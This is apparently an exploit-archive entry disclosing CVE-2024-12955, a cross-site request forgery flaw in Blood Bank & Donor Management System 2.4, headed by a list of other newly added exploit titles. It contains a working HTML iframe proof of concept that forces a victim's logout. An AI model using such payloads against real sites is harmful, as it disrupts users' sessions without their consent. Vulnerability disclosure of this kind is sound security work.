9ddf81331a
10 changes to exploits/shellcodes/ghdb TP-Link VN020 F3v(T) TT_V6.2.1021 - Buffer Overflow Memory Corruption TP-Link VN020 F3v(T) TT_V6.2.1021 - Denial Of Service (DOS) Angular-Base64-Upload Library 0.1.21 - Unauthenticated Remote Code Execution (RCE) Blood Bank & Donor Management System 2.4 - CSRF Improper Input Validation compop.ca 3.5.3 - Arbitrary code Execution Usermin 2.100 - Username Enumeration ABB Cylon Aspect 3.08.02 (deployStart.php) - Unauthenticated Command Execution ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) - Authenticated Path Traversal AnyDesk 9.0.1 - Unquoted Service Path
43 lines
No EOL
1.4 KiB
Text
43 lines
No EOL
1.4 KiB
Text
#Exploit Title: Blood Bank & Donor Management System 2.4 - CSRF Improper
|
|
Input Validation
|
|
# Google Dork: N/A
|
|
# Date: 2024-12-26
|
|
# Exploit Author: Kwangyun Keum
|
|
# Vendor Homepage: https://phpgurukul.com/
|
|
# Software Link: https://phpgurukul.com/blood-bank-donor-management-system/
|
|
# Version: 2.4
|
|
# Tested on: Windows 10 / Kali Linux with Apache and MySQL
|
|
# CVE: CVE-2024-12955
|
|
|
|
## Description:
|
|
Blood Bank & Donor Management System v2.4 suffers from a Cross-Site Request
|
|
Forgery (CSRF) vulnerability due to the absence of CSRF tokens for critical
|
|
functionalities such as logout. An attacker can craft a malicious iframe
|
|
embedding the logout URL and trick a victim into clicking it. This results
|
|
in the victim being logged out without their consent.
|
|
|
|
## Steps to Reproduce:
|
|
1. Deploy Blood Bank & Donor Management System v2.4.
|
|
2. Log in as any user.
|
|
3. Use the following PoC to demonstrate the issue:
|
|
|
|
```html
|
|
<html>
|
|
<body>
|
|
<iframe
|
|
src="http://localhost/bbdms/logout.php"
|
|
style="border:0px #FFFFFF none;"
|
|
name="myLogoutFrame"
|
|
scrolling="no"
|
|
frameborder="1"
|
|
marginheight="0px"
|
|
marginwidth="0px"
|
|
height="400px"
|
|
width="600px"
|
|
allowfullscreen>
|
|
</iframe>
|
|
</body>
|
|
</html>
|
|
4. Save the above HTML code as logout_poc.html.
|
|
5.Open the file in a browser and click anywhere on the page to trigger the
|
|
logout. |